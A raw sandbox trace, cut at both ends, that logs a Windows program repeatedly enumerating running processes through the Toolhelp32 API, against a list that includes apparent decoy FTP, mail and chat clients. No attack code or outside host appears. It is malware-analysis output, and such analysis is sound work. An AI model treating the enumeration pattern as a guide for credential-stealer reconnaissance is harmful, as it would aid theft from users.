lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0107.322] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0107.324] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0107.325] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0107.327] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.329] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0107.330] Process32Next (in: hSnapshot=0xd60, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0107.332] CloseHandle (hObject=0xd60) returned 1 [0107.332] Sleep (dwMilliseconds=0x64) [0107.489] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0107.503] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0107.506] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0107.508] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0107.511] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.513] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0107.515] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0107.517] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0107.518] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0107.520] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0107.522] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.523] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.525] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0107.526] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.527] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.529] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.530] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.532] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.533] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.577] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.598] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0107.601] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0107.603] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.605] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0107.607] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.609] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0107.610] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0107.613] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0107.615] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0107.618] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0107.620] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0107.623] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0107.625] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0107.627] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0107.633] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0107.635] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0107.637] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0107.640] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0107.642] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0107.644] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0107.647] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0107.649] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0107.651] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0107.654] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0107.656] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0107.658] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0107.662] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0107.664] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0107.666] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0107.668] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0107.671] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0107.673] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0107.691] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0107.694] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0107.696] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0107.698] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0107.701] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0107.703] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0107.705] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0107.715] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0107.717] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0107.720] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0107.724] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0107.726] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0107.729] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0107.732] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0107.852] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0107.855] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0107.858] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0107.861] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0107.864] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0107.867] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0107.869] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0107.872] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0107.875] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0107.877] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0107.882] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0107.885] Process32Next (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 